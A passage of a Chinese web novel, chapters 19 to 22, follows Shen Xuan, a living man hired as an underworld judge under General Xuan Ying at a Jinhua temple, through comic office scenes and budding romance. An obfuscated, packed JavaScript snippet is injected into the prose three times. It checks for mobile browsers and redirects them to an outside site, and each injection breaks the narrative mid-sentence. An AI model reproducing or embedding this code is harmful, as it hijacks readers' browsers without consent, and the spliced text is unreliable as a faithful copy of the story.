啃大拇指指甲的宣将军结束这场公报私仇之前,还对土地公公叉腰鬼精地耻笑一声:“他不是挺会打官腔?以前真是完全看不出来,还真是……一个当“官”的材料!行!我欢迎他来我们基层组织吃吃苦!” 谁让一个人间高富帅跑来没苦硬吃的。 “别,你起码给他挪出一个双人办公室……” 土地公公站在旁边看热闹正起劲,但他也好怕宣婴未来脾气上来生吃了沈选。 “我的办公室没有多余空间了!” “……”喂,这里根本没人让你俩呆一块吧? 最终他们商榷再三确认好了一件事。 沈选的桌子,会被安放月老祠里面。月老天天就在单位玩手机、打毛线,他肯定不打扰沈判官写财务报告,照顾大将军的宝贝发财树。 中国地府从此迎来了一位不知道天高地厚的新人牛马。 1959年宣将军刚当地方神的那会儿,他周围没几个仙家会用拼音和阿拉伯数字的。 沈选被分配到的生死簿,如今都是冥府第二天以txt格式发到他电脑上的。 崔判幽幽地抽着烟,用烟屁股按压地狱第十九层办事处的鼠标垫问:“你们领导让你过去以后管财务多一点,你会不会有压力?” 他是用过来人的经验友情提醒这个小伙子,要做拿判官笔的人,就不能把顶头上司惹毛,要懂得察言观色。还要先替领导做的一手欺上瞒下的假账,懂得为各种原因带来的单位麻烦做清账。 这两点职场新人知识,酆都地府公务员考试的时候都不放在明面上说。 但是…… 他们地府可是被一只有后台的猴子搞得财务系统崩溃长达几千年!!!!地府又有哪个判官不是先学会计再断案? 地府的社畜们拥有会计证!才能长久地保住工作! “……”沈选没听懂。他看了一眼电子版生死簿,想自己在一方城隍之主座下当活判官能涉及哪方面财务?但是转念之间,脑海中浮现地铁那次偷听的内容。那些鬼魂提到毕业生还得做设计,搞网页,懂英语……那么判官还得给领导搞财务也能理解? 咦。 这么一说。 他家领导以后最信任的人不就是……管财务的他? 沈判官禁欲系的镜片闪过一道光,故作矜持冷淡的面颊泛红,他在心里想:“别,别太可爱了!我的大将军!您都,都要宠坏我了!” 19.【一更】天字号:阴状(5) 今晚的陆地神灵们又要开小会了。 地上所有得到过百姓帮忙立坛,又被最高神分配调剂到金华府邸的神龛上都有一个鬼魂在金光闪闪地坐着,但这之中不包括宣婴的府君令牌。 刚才得知沈选考进地府的消息后,他便被领导又派下了晚上监斩行刑恶人的活。 上头发微信,让冥将午时三刻从金华地铁站出发,和牛头马面一起前往南京缉拿住生魂,最后将此人押解到上海奈何桥站处斩。 地府摇号抓人有时间限制的,一切肯定不得有差池。急着出去砍人的将军就算再忙也没忘记沈选,先亲自扛了一套办公桌。 他还嘟囔着什么,他可不是欢迎谁,土地灶王都是老头子,根本干不了重活,但他的表情偷感很重。 “你开会的时候,别跟大家说他和我有任何关系,懂?”宣婴抓过铡刀,擦拭干净上次监斩残留的人头血迹:“不能对外说的理由,这就不用我明说了吧?” 宣婴话音未落,牛头的电话打了过来,告诉他今天上海又碰上地铁晚高峰,他现在正站在车里面发呆思考人生,但马面带着刑具被乘客们挤下了车。 都没到中元节吧,怎么又晚高峰了,这可完了,那不得耽误他们行刑? 宣婴立刻不能多跟土地爷聊会了,赶紧找车去搭救另外两位社畜,临走前的他觉得土地应该会理解成他不愿意跟沈选扯上工作中的裙带关系。 但土地心里想的是,他能不懂吗,宣大将军肯定是怕沈选被当成关系户,未来会放不开手脚,他超爱的。 土地公公连忙行动了起来,他送宣婴去车库开灵魂摆渡车,宣婴的车马腾云驾雾地飞走以后,土地爷就帮忙跑去公布调令。 会议的第一项内容,首先肯定是找一个又坐在角落的金华府老同志。 “月老,老月,嘿,咱们老哥俩私下打个商量,明天早上我给你的神龛旁边多加一张桌子好不好?” “为啥给月老爷多加桌子?他天天就在那里打毛线拆毛线呀哈哈!难不成是让他之后把毛线都放桌子上?” 其他“官”不懂就问,这之中,说话嗓门最大的神仙是一个穿保安服的络腮胡大哥,看他体格健壮如牛,胸前横着的胳膊纹了一个青龙,绝对是个武“官”。 可事实并非这位青龙神猜测的那样。 接下来,第二个会议内容就是关于活人要来宣婴手下的事情。 一群官们目瞪口呆,月老不咸不淡问:“真是一个人?不是金蝉子转世?不是领导家孩子渡劫?大将军不介意吗?” 他也替大家问出了刚才表示惊讶的理由,宣婴的主食听说好像以前就是……活人? “对,纯血凡人,祖传麻瓜,一点魔法攻击都不懂啊,宣婴也已经知道他要来了。”土地帮忙掩盖了一下事实。 手里的钢针继续挑挑,月老这小老头喜欢耍点小性子,他又向来是认同宣婴的,斜勾下巴算是接受了组织的安排。 其他官们不禁又笑哄哄了起来,看来月老熬到退休之前最讨厌的人出现了。活人同事如果还没对象,可得先想办法和月老搞好关系。 也亏得地府公务员不需要公布三代。 这招聘进来一个特殊人物的事,才算是对这群家伙先瞒过去了。 土地爷端着缺一点漆的茶缸子,在值班室背对众位仙家悄悄咳嗽了几声。 如果可以,他也想说出实话,但是现在的时机明显还不是很合适。 宣婴今天晚上的监察斩首工作也在进行中。午时三刻最终是被他们三个人赶上了,此刻弥漫着香火的法坛前,一个被地府小鬼们搭起来的煮人锅台在喷涌而出着血浆白骨。 今天被阎王爷判了死罪的人也是个官,他在生死簿上的罪名是贪,所以这个官老爷初来乍到的表情还挺嚣张的。 “奶奶的熊!还不快拜见大将军!”马面用刚才挤地铁被踩很多脚的脚心踹他下跪。 男人“啪叽”摔倒,一只脚翘在天上,脸颊还没多久也沦为一块赛马场的草坪,布满了地府社畜发泄加班情绪的马蹄子。 等到马蹄踢累了就换牛蹄上了,于是另一位牛马直接用勾魂铁链拿住这个鬼魂的脖子,让对方的这双招子睁大点,好好看清楚堂上的红袍傩将和地府大将军的铁锈铡刀。 “知道你是第一次下地府,咱们也按规矩办事,看看你的行刑官,这是苏南地区的大祭司,待你五刻人头落地,他会用三注香送你永不超生,咱们这里管这三根香叫将军香,一注是练,二注是演,三注是开杀。官将行首,火社焚身,能得到这位官接见,你这魂魄也算是废了。” 这种话可不是吓唬他的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“将此人拿下,先以五雷轰顶,再以烈火焚躯,斩成两段,立刻开始行刑。” 20.【二更】天字号:雷部(1) 当夜,恶人总算知道了地府的冥法有多厉害,鬼差们鏖战通宵,不多时尸横遍野的奈何桥上远远燃起了一把火。 无鬼不知,这地府的河上设有三座桥,但是金桥只给帝王将相走过,忠孝贤良之辈,公平正大之人,也只配过银桥。 普通人们如果安稳活到头,一生基本是走一回奈何桥就差不多了。 但是还是有很多人这辈子连奈何桥都不配走的,通常这种情况下,他就会在死前看见一个真正的十九层地狱大门,在里头还存在着一个地府大将军看护着那道门。 他会让鬼魂们体会到什么叫神祇屠鬼,阎罗哀鸣。 他自己,也正是世间一切污秽业障的化身。 宣婴想到这里,丢出一根烈火浇筑的黑色将军令,命下属们把无耻之徒的鬼魂给斩成两段,又去阎罗殿送完那颗血肉模糊的人头,饿着空肚子到单位就又心烦易怒了起来。 工作是告一段落了,但土地有没有搞定单位的其他人呢? 大将军手上拿着一朵幽冥地界采摘得来的血红扶桑花,他低头偷看沈选空空如也的新桌子,又上神龛找了一个贡品花瓶。 手把手将一朵冥花给插进去醒了醒花苞。 他的心,落到了沈选的手中。 但他们不知道,此时两个人真的同时在想无法忘记对方的理由。 睡不着的沈选惦记着的味道,就是宣婴手中的扶桑花香气。 沈选靠在上次的家中落地窗边,看着和宣婴那朵花颜色一样的高楼霓虹灯。 不经意间,目光落到脚下,他发现天桥行人中总伴随着几个怪异的半透明身影,自从去过地府,他对鬼神的存在也更敏感了。 有记忆以来,沈选一直活在梦中情人身上那种出没无常的气味中,但他去看了真正的地府才知道花卉的名字叫扶桑。此花本是开在地府的深处,百年来汇聚地官殿的拜祭香火,又得仙桥水和地狱火才生出这种妖艳姿态,所以寻常的人一生中只有一次机会能闻到扶桑花是什么味道,可这个名单又要开除沈选。 如果供奉“官”的信徒们是祠堂庙宇里面的长生灯,他就是燃烧在将军灯台上的黄铜灯芯,是照亮神秘神邸面容的青烟袅袅。 但是梦里交换这种暧昧花香味的时间到底太短了,二人必须坦白见一面。 这样一来,他们即便是神人有别,等到他生命殆尽的那一天,作为一个被救过活命的信徒也算对得起个人信仰了。 这便是沈选自小立誓点高香叩拜一个无名神的执念。 …… 很快,在沈选的日思夜想中,他这个新判官的报道时间就到了。 宣婴最近几天在金华府也总是不见人影。 但他今天休息,绝对是插翅难逃,于是让人万众期待的那场地方面试也开始了。 今天是十一月中旬。 金华的天空万里无云。 冬去春又来,他们静静地舒展开根茎叶,此刻两个交集的身体就像是殿前的扶桑树和报春花。 和煦的阳光羞涩地投下了同一片双颊的绯红。 这时候,本地一旅游景点的神殿传来一阵刹车声,最外边的广场下来了一个上海自由行团队。 这之中,导游第一个跑下车。 他还在指挥十几个大爷大妈如何找厕所,等到快数人数到最后一个位置的时候,一个身影戴着个压眼睛的帽子从座位站了起来,带好行李的他对外边的道教香火地看了很久,导游见状拍拍座椅询问:“帅哥,你是本团临时加进来的,又是从来没有来过金华市的外地人,真不用我给你讲解?” 可导游还没说完,就看到了年轻富二代的双手举着一本《道教文化十五讲》,他察觉到了人家可能才是专业的,所以就闭上了嘴。 不过他还是多看了两眼沈选俊朗简约透出高级感的男性穿搭和他188上下的身高。 沈选真像个民国时期的留洋富家公子。 这个脸年轻归年轻,但周身风度,清雍贵气,很容易让人相信他。 尤其他那双眼尾柔和的眸子看见了这地方的宝殿匾额,似乎还装着一片灼灼思表的浓烈爱意。 新同志到门口了。自己做不完的工作,以后就有人帮忙接手了。 各个部门的摸鱼人士们一起翘首以盼,还忙着往神龛底下的垃圾桶里丢瓜子壳和香蕉皮。 “门口那个小伙子文质彬彬的,看着冷冰冰,俊得很嘞。” “我觉得他跟崔判官,陆判官他们气质还挺像的。” 部分老地官们还肆无忌惮地玩起了谐音梗。 “大将军!你咋到现在都不吱声?你的强来了,噢漏,是你的判来了!” “哈哈,对啊,新判官还姓沈!他这是来咱们这里‘审判’谁来了?” “不知道啊,但协助大将军审判众生的沈判他都提着笔记本电脑到门口了,大将军,他等您传唤了!” 金华府地官殿的檀木横梁上,一双青白脚腕悬空晃荡,一位长发垂腰的大将军在神龛装睡都快装不下去了。 他自从咽气就再没有在白天醒过。胡思乱想时,青年风骨峭峻的声音传过来,“不用讲解,我对这个地方……的气味很熟,谢谢!” 沈选说完之后继续顺着安良街走,金华市区的人挺悠闲的,根本不用导航,眼前所有的人都在前往香火味旺盛的“宣婴殿”祭拜地官大人,街面可以看到遍布全国统一的连锁快餐店品牌,以及东阳童子尿鸡蛋、沃面和火腿栗子粽等特产品。 游客云集的景区很难开进去也是真的。 沈选几次三番卡在队伍的后边。 又往上坡走,沈选寻访五猖第一圣的脚步来到门口有炉子插香的道教水陆祭坛,他终于看到一个浙江温州商会捐款出力建造的“鬼书碑”,一个麒麟云纹的红色拱门,这个略显朴素的进门处旁边还有个小窗户,挂法物流通处工作证的大爷推了推滑到鼻梁骨底部的眼镜框。他手指着的支付宝码也不知道是不是被扫了太多遍。纸都褪成橘黄色了。 但是好死不死的,这个老头并不是土地,顶班土地爷的他又是谁呢? 有个小男孩也舔着火炬蛋筒冰淇淋问他妈妈了:“这个红色老爷爷和以前的黄色老爷爷不一样,他是圣诞老人吗?” 红色老爷爷也是一个傲娇小公举:“孙贼,我等你大了来拜爷爷我啊,到时候我一定告诉你已黑化勿扰。” 金华府就三个老党员,灶王爷是黑色的老头,祂是红色的老头,土地公是黄色的老头,他们仨长得还好像,如果不穿不同的工作服,很容易被脸盲认错。 祂一般只有七夕节才上班,会气得跑出来是因为领导说他要分出半个神龛。 “大家好,还是按批次拿号啊,友情提醒,各位参观建筑不收钱,大将军殿轮到你了也随便进,今天还有限量月老祠御守,每人一个啊,来,拿个吧小伙子。” 月老不知道沈选是他骂了几宿的新同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011782|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 志。 新同志沈选从老傲娇手里背着包,像接亲的新郎官一样目光坚定地穿过人群。 门口站着一位身材魁梧、面容威严的保安,仿佛门神大元帅般矗立在那里。 沈选没有丝毫犹豫,走上前去,礼貌地开口: “哥,打扰您一下,我是冥司刚委派到你们单位报道的实习生,还没拿到城隍通行证,方便放我进去面个试么?” 保安——实际上是宣婴座前的正鬼青龙神眼睛一亮,上下打量着眼前这个气质出众、仿佛名校毕业的年轻人,惊喜地问道:“哦哦!我听说上礼拜考试截止了,你是实习判官!你真是活人啊?” 沈选语气平静:“是,我打小阴阳眼,平时都装作看不见。” 青龙神顿时喜出望外,连忙说道:“那你等等!我这就去找我们大将——不,是负责人!他每天都是16+8饮食!他很自律爱美的!还轻断食呢!” 神还轻断食?男性还坚持16+8会不会吃太少? 沈选一时语塞。 他心中暗自思忖,更怜惜起他的“自律神”了。 他的大将军一定吃了很多苦吧。 这其中的酸甜苦辣咸,他都没来得及看到。 也幸好,沈家自沈樵开始,代代都出顾家体贴好男人。沈选会做饭,他的本帮菜和绍兴家乡菜都做的很地道的,就算宣婴现在不要吃人饭,他也可以扎两个的。 但金华府保安大队长可不知道他们是什么关系。 说宣婴正在挨饿受苦,他也没说错啊,真让大将军饿急眼了,他可就不会轻轻地咬断食物来坚持“轻断食”计划咯,他八成是要一口造掉新同事了。 “领导,饿了吧?十六个美团小哥和八个饿了么外卖都来了啊!” 腾云驾雾的青龙神找到饿鬼道的食物链顶端生物,他先看到了一个石台。 他们其他仙家真是谁都没大领导供桌上摆放的零食饮料多。 上班不积极的大将军吃饭最心急了。 青龙大神撅起尖尖的龙尾巴,忙碌的一天也从搬运外卖开始,他把麻辣烫和装着十分糖奶盖四季春的保温袋子打开,龙角顶顶柱子说: “将军,今天咱们金华府真挺热闹的,门口现在有个活人。你前几天开会不是每次都不在吗?他是新调任过来的判官,土地说他是高材生,大脑特别灵光,但还是不太建议您一起食用他补充营养的噢!” 别问金华府的神仙队友们怎么都能这么有梗,问就是祂们上行下效,全从自家领导那儿学的。 挠头的青龙来回仰头望不到人,径直拍击和踢打柱子。 龙角又砸了一下朱漆梁柱,震得檐角铜铃叮当作响,他就差没敲锣告诉领导,那个台阶下的脚步又近了。 偷掀眼帘的宣婴蜷缩在快要变成危房倒塌的柱子上,又看着沈选在远处一副即将走到他面前的样子,他也不想活了。 他此刻正经历如下心理斗争: “干什么往外这么大声!那种事难道光彩吗?” “而且这次真不是我抱着偏见,大家都是男的,作为同性领导和下级之间,我和他这样单独见面,实在是太暧昧,太容易被人说闲话了。” “可,可到底是谁讲过支持大学生就业是功德一件来着?跟门口这个爱招蜂引蝶的活骚包都拉出去斩了!” “你能不能别给我撞柱了青龙!” “天杀的谁来救救我快把这倒霉柱子先稳住!” 21.【三更】天字号:雷部(2) 宣领导失态了。 沈判官这招直球战术初见成效。见青龙大哥迟迟未归,他已猜中宣婴心思——跨越百年的重逢,对方肯定没料到自己敢找上门。 路口这时有一个跳五猖的队伍吹吹打打地走来了。 自古以来,华夏民族都崇祀重戎,这种仅仅供游客们欣赏的傩神祭祀小场面也十分壮观。 “吉时已到!入土为安!”队伍里的演员踏着天罡步唱道。 沈选被打出身体记忆的脑子微微地痛了起来。 说出来别人都不会信他的话,只要开始想念大将军的身影,他的身体每次会有一种挨过很多次打的错觉伴随着…… 他对着自己遭殃很多次的脑袋摸来摸去,想坚定一下找人的决心,就听到旁边有人问:“这些跳傩戏的人会不会被神明上身附体?他们的眼睛好有威慑力!被瞪一眼都让我双腿发软想下跪磕头……” 不。 真正的道教正神从不上人身说话。 “官”一般都是生前行大善者。 就连宣婴飞升后也是,他只祛疫逐害,不要求沈选跑来还愿。 可是他坚信,他们今生今世必须再见一次。 所以紧接着沈选就是随着其他游客一起拜本地城隍。 他在门口蒲团上双手递烟,低眉顺眼,演技一流:“殿主爷请用烟。” “我二十六岁至今单身,来府君官邸只为寻找一个人。”随即他便是掏出支付宝来了一个扫码功德箱的大动作。 “这点香火,望您笑纳。” “支付宝到账88888元!” 法务流通处的仙家专用收账号响了。 别人求神赐福,他就非要娱神一笑。他的大将军可不能再挨饿受冻,那些老黄历都不算数了。 沈选早有预谋,他勾勒出腹黑线条的手拿起签筒:“她曾经叫张飞霞,又名徐小英,可能还是我的远房亲戚家孙子,他说他38年过世,59年出生,可他又似乎等了我100年。” “我想问一下那位神,他想不想见我。” …… 这些话普通却像羽毛轻触水面,足够轻巧也在勾起两个人涟漪的同时不惊扰有鱼的水底。 “把其他外卖取回来……藏土地那里,麻辣烫奶茶你拿去吃了。”宣婴突然睁眼。 青龙肩膀上一轻,抬头就看到头顶上的人单腿跳下来,站立到了地面,他蹦过来抠抠耳朵问:“啊?外卖都给我们吃吗?那您可别饿了就想吃……沈判,他这百来斤的人肉都不够您塞牙缝的,您要不……还是垫吧垫吧?” “从今天开始,我都不吃这么多外卖了!我要减肥!我要16+8!懂不懂什么叫轻断食!你们快点拿走分掉!” 宣婴不过脑子的回答让青龙神如蒙大赦地化形从窗户里遁走,只剩神像与信徒对峙。 沈选同时看到签文坠地刹那,午时阴殿的引魂香骤然浮动。 神龛上的签说:“进。” 殿上没多久走进来一个稳重不失喜悦的脚步声。 手推门而入,靠近中午,光线晦涩的冥殿浮动着青灰色的魂香。 沈选在心疼他被困在一个地方的轻柔脚步正靠近。 耐心等到现在,他虔诚的信仰也明显感化了上苍,当透过香火找寻记忆的他开始紧张驻足不前,他听到一声。 “别跪,站着说,给我站直了。” 沈选收膝一愣,抬起头来。他的呼吸微滞。眼前层层红纱无风自扬,戴着巫舞面具的身影终于显现。 那条度众生苦,放生功德的无上神途从他们相遇的眼眸落了空,轮回镜上的金色明光,照在了那长生不老的雪发上。 他先是惧怕时间太晚,君生我未生,大将军已经年老。 又难掩愕然,喜悦和惊艳地看宣婴完全不老的真容。 等他终究看清楚了这辈子早就想见的人,事实也比他想的还像一个穷鬼碰到天降横财。 “您,您是天祀荡扫十魔真君……” 他以前只知道喜欢的人是一个地府大将。 这次大老远来旅一次游,他本来想进入内殿,可没想到宣婴殿每天限号排队,他打不过21世纪最硬核的追星人群、拍短视频的、一生只为了要强出片的中国女人等等。 之前他没懂为什么……现在,他傻了。 这样的人……果然应该戴面具。 他几乎没意识到自己的左侧心脏在抽痛,他开始计较来自对方对“沈选”的初次看法,浓眉之下本无情绪波动的眼睛,变得塞满了本来不存在的初春心事。 但是对方的表情完全就是不记得他的样子,沈选甚至能感觉到自己惹大将军讨厌了,他不太懂宣婴为什么连个好脸色都不想给他这个地府新职员。 宣婴绝口不提当年:“你叫沈狗蛋?” 沈选失望了,还是面不改色心不跳说:“狗蛋是小名,我叫沈选,这应该不影响我的考试成绩?” 放你祖宗十八代的自然界有害气体! 宣婴没事爱看着沈选不让他被妖怪抓走,却没空就近照看沈家的独苗苗:“那你真的想找我们这儿的工作,你会用excel吗?四六级过了?” 沈选说:“会,但我只过了计算机二级,我不是学信息的。” 沈选说完之后又偷看一眼宣婴,臭着脸的宣婴还是不好好给他一个笑脸。 沈选心里空荡荡的,失去了追求宣婴的信心,他的心里很没底。 宣婴思考完土地爷上次的警告,看沈选有问必答,心里面也有很多顾虑。 “那……你能不能接受你的同事们都不能白天上班?一年中永远只有中元节放假?大家一起吃饭是在供桌上?” 其实,他就近照顾和隔空保护,意义都差不多。 他就怕沈选过着少爷日子,会觉得这儿的上班环境根本不咋滴。 “……我不怕鬼。我五岁那年就看得见了。我来这里也是因为那时候被一个人救了,但可能他并不在意这件事。” 沈选说完,开始觉得他们的谈话气氛有点奇怪,但他不确定是不是错觉,宣婴在纠结? 沈选原地静止了一秒,从庞杂的信息流中分辨出了一个奇妙的可能…… “是不是,我的面试直接就算是过了?” 同一时间地点的沈判还在偷偷地观察高冷范的直系领导。 可是沈选说完,静谧严肃的庙观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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说过不走后门,宣婴发誓他不会轻易给沈选好脸色的,这人既然来都来了,他就必须先发发威,镇住金华府的场子再说。 沈选很好欺负的脚步紧紧地追在宣婴的身后,他脖颈和手腕的淡色皮肤充斥着克制和礼貌,声音也是伏低做小。 他们的首次跨服聊天也很有特色。 “嗯,我会听您的话……谢谢您愿意对我负责,我也会对大将军……庙的所有神龛负责的。” “……” “因为,我……喜欢,嗯……” “……” “对,对不起,我刚才什么话都没说,我可能太激动又失态了,将军,我们去跟同事们打个招呼吧。” “……” “对了,将军您对我真好,你是不是对每个新人都这么好呢?” “嗯,将军,我们真的好有缘,你觉得呢?” 这里没人想跟他有缘,然后他们就该干嘛干嘛了,只是宣婴没发现,身后有个身影的镜片眸光很快微暗了,低哑微妙的温润嗓子伴随着眼睛里一闪而过的狡猾。 他从身后垂涎宣大将军已久的目光。 才像是,小灰狼对上他可爱的大白兔。 22.天字号:雷部(3) 他俩在一起走出门后,巍峨壮观的神殿走廊上出现了一个不一样的金色结界,身后传来了一声“喂,抬手”,沈选的手掌握到了大将军脱手丢出的一张夜间门禁卡。 参加考试和过来见宣婴的时候,沈选倒没那么不真实。 他现在有点恍惚,自己竟然真的被留在金华府了。 宣婴不再多考察一下他? 手机上的时间响了,提醒他们已经中午十二点半了。 “哦,好像没给你安排午饭,你饿不饿?来吧!带你随便尝尝员工餐开开眼?” 沈选第一反应是去看看旁边15元一位的素斋餐厅广告,他想表示感谢,拉住领导请客吃饭。 谁知道他被宣婴拖走了,还说什么不吃食堂,吃其他地官伯伯奶奶的饭。 这一身稚气未脱,也让沈选看傻了眼。 刚才他都没怎么察觉到,其实上了岁数的老地官们很少穿招摇热闹的颜色,比如……宣婴身上的大红色金色和绿色,但宣婴根本不是一般的喜欢闹腾,他心态也是跟小孩似的,他穿衣搭配的佩饰多的像送子年画化形的麒麟,此刻的双手停不下来地把玩了一下繁琐凛然的青金色耳饰,拔出一根簪子拢起长发,该绕两圈盘高别了一个挂五颜六色彩绳的马尾。但宣婴可不会觉得疲累,继续拉着沈选参观到了麻姑殿,径直去女神仙的神龛翻翻贡品,抓了几件看入了眼的零食大礼包。 “你给我拎着!” “接着!” “这个这个这个!你都拿走!” 眼花缭乱的沈选看着地上的食物们懵圈了。他们这是在做什么?用偷吃代替购买? 最大的幸运可能是麻姑殿里的凡人们也看不到他们。 但是宣婴不是地方府君吗? 不多久,沈选被惨遭女神追打的宣大将军塞了一块烧饼、两个苹果和一瓶牛奶。 宣婴的嘴角叼着一根烟也没抽,他也在大口吃烧饼,跟麻姑吵架拌嘴。 “宣婴!下次别来蹭饭了!”麻姑被偷家的叫骂声传了出来,她的怒吼掀起了屋顶,飞沙走石撞开了殿上的石敢当。 沈选被坑得差点飞了出去,幸亏宣婴还知道拉住他的一条裤腿。 他们惊险地闯入,还冒犯了一个仙姑洞府,但是有人根本不在乎。 “姐,谢了!啊呜呜呜呜!还是你家信众们孝敬的烧饼和牛奶最好吃。” 宣婴简直瞎胡闹地放下沈选和两只石敢当,对麻姑笑了一声。 麻姑说:“滚出我的世界——你这个饿死鬼投胎——” “……” 沈选捂着耳朵痛苦面具地纳闷了,手上的这个烧饼,我们今天是非吃不可吗? 但这可是金华最好吃的一家排队老字号酥饼了,形如蟹壳,两面金黄,咬起来酥脆掉渣,是咸香口的。 而且麻姑是女寿星,古代说麻姑献寿,沈选第一次来吃她的香火也可以延年益寿的。 所以这就算他眼中一顿很丰盛美味的员工餐了。 这也是宣婴独有的爱人方式。 “这一口,跟上海烧饼比起来可都不赖!”宣婴开始为金华美食代言了。 他就着手中热乎乎的烧饼香,带从上海来的新判官畅游他的府君地界,仙家们多数还是温和有善的,殿内每一个神龛还都能找出大将军平时最喜欢的供品小零食。 魔芋爽!不二家!方便面!娃哈哈! 他像平时一样,又吃又拿,左右开弓,殊不知,他也被贼惦记上了。 沈选走在后边,能看到地府大将军粘了一小块烧饼碎渣的愉快嘴角,他目光灼灼,心头散发的热度只差没烧穿那身衣服。 “……将军,你都让我通过了这次面试,不如我们也聊聊工作,请问以后有什么能为您做的?您需要看一下这个月的生死簿排班表吗?” 沈选在人间学府学了很多年的法律,研读了各式各样的卷宗,但作为地府机关单位的保密资料,他随身携带的生死簿本质上也就是冥府人事部门的档案袋。 凡人眼中十分厉害的判官大人,也只不过是用冥法协助“官”管理地府的流动化职员而已。 他这种活人更是食物链的最底层。 但是为了要把他尽快带入一群地官们的工作氛围,宣婴刚一开始也只会布置最简单的任务给沈选。 想起沈判官以后双手最不离的是电脑了,他的领导说了一句很意味深长的告诫。 “你每次打开生死簿前,一定要保存!万一不保存停电,一切后果自负!不要找我!” 沈选对着手里的方便面想,如果单位停电了,生死簿没被他保存会怎么样? 宣婴没解释,反正对他来说,宜室宜家的俊俏男秘书是到位了,沈判官未来一心扑在工作上也不能天天缠着他。 虽说沈选在门口说到了找张飞霞,但这里绝对没有这个名字叫张飞霞的人,宣婴就打死不承认,沈选又能把他咋滴? 宣婴忘记了自己亲耳听到那些话语时,他的心跳快如擂鼓。 肚子早就变得很饱,沈选仰头帮忙喝掉了剩下的纸盒装牛奶,也没着急追问。 但他扫过宣婴刚才喝过的地方,伸出两根手指没擦,舌头舔过那里后,甜味弥漫的嘴角微微勾了起来。 他抬腿跟着去下一个地方。 …… 十分钟后,月老祠终于出现了。 正巧,也赶上一个卖票老头带着茶水杯溜达到走廊尽头。 沈选看见他也来月老祠,神情是惊讶的,拿出那个桃花御守给他道谢:“真谢谢您的礼物,您刚才是专门在门口给我制造惊喜?” 月老:“……” 沈选客气,但他没怕生。 宣婴已经拎东西进了他俩的办公桌,拿出一盒精装茶叶饼反丢入神龛,他转头给新人偷偷地使眼色:“月老爷,实习期就麻烦你多带带他这种人,老麻烦你,你找我反映,我一定帮您解决!” 人家是考进来的,又有年龄优势,月老当着领导的面只能说欢迎。 宣婴调停他们三个人立场的话语也搞定了本来会尴尬的场面,先带沈选认识麻姑是他的第一步策略,以后再帮着跟月老打好关系吧。 可是沈选不想干站着,他进来也就跟了过来,帮宣婴找了一块抹布帮忙擦桌子,他还要抢着泡茶洗杯。 办公室内,宣婴躲掉,拿他没办法地举走抹布,心里觉得这个傻小子还是不懂上班不能抢活,他凶巴巴地龇牙花,努努嘴说: “你赶紧坐那,老实点吧行不行!” “将军我必须来……”沈选伸胳膊。 “走不走?”宣婴扭过腰,抬腿警告一次。 “将军你不要客气,我帮你——”沈选被踹都不怕,宣婴胡乱挥舞胳膊,气的吐血三升:“我没长手脚?用得着你,坐着!你这个书呆子!” “……”月老在后头脸色古怪地观察到他们的互动。 另一边好不容易抢到沈选的抹布,露出得意笑容的宣婴此时不经意间回头,他吓了一跳问:“月老爷,您忘滴眼药水了?你怎么还得沙眼?” 月老心说,我就是一个道具,终于被你们想起来还真是不容易了。 他们刚才进来,事情还好好的,可揩掉差点掉下来的两颗眼泪,月老忧郁地转身说:“我去看看门口的老桃花树。” 最后看完一次它,就等于办好他的下岗手续了。 上班快一百年了,他还从来没有过职场焦虑 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“他不是针对谁,所有人刚开始上班都这样,他平时对我们都很好的。但我告诉你啊!绝对不许虐待百岁老人!” 宣婴下一秒警告了他,抓住他的肩膀,二人靠一起搂搂抱抱私聊。 “给他多打打毛线!懂了没!” 看来,宣婴只是心性赤忱,才会行为天真,他的责任心其实很强,他挺会搞定同事的脑子里也已经思考起未来协调所有人关系的好办法。 但沈选又不傻,哪里还能不为领导的费心劳力而暗自窃喜…… 以前和舍友们相处,大家也是打个球会搂搂抱抱的,那叫打闹,但他如果单手抱宣婴,他突然不敢想象这叫什么了。 叫,亵渎神明吗? 因为这个词,他看着宣婴更热爱这份工作了。 从酆都后勤保障中心去同济大学的校公办转走了他的档案开始,他的心就挥动着翅膀飞到了金华。 他知道跟同事打好关系的重要性,但第一位永远是宣大将军。 沈选带着特别喜欢看着他的心情,顺手勾起了一缕飘散在五彩耳坠下方的白色发丝。 他第一次见面本不想撩得很明显。 沈选的嘴角弧度也很少会这么外放,这个举动和温润如玉根本没关系。 可他是一个五岁走过阴的人,他早就知道幽冥地府是座白骨牢狱。 不装被鬼神惦记。 但要是不再遇到宣婴,他才不会信仰任何“官”,他只想平常地享受一切生老病死,但他的个人意愿为了宣婴可以统统抛弃。 刚才的面试没来得及说完就结束了。 不如他补个环节吧。 “我懂,但以后你有什么喜欢的事情,也告诉我,我陪着你慢慢玩。” 沈选也低声哑气地回答,拂过颈侧的手惊得宣婴差点没把他给推飞。 但是沈选说完,他又退后了,距离仅限一步。 宣婴年轻力壮,肯定得拿出孔武有力的胳膊肘顶沈选,好在沈选反应快,但大领导的身体突兀撞上来,直接让沈判官伸出胳膊搂抱这个很细的腰肢。 一道不想讲任何话的发烫视线抬起,落在宣婴的脸上,沈选的大脑渐渐“走肾”,停顿了很久才挪开不看。 今天对方看起来真是没那么好松口,宣婴分明也看见有人镜片后的眸光暗了暗。 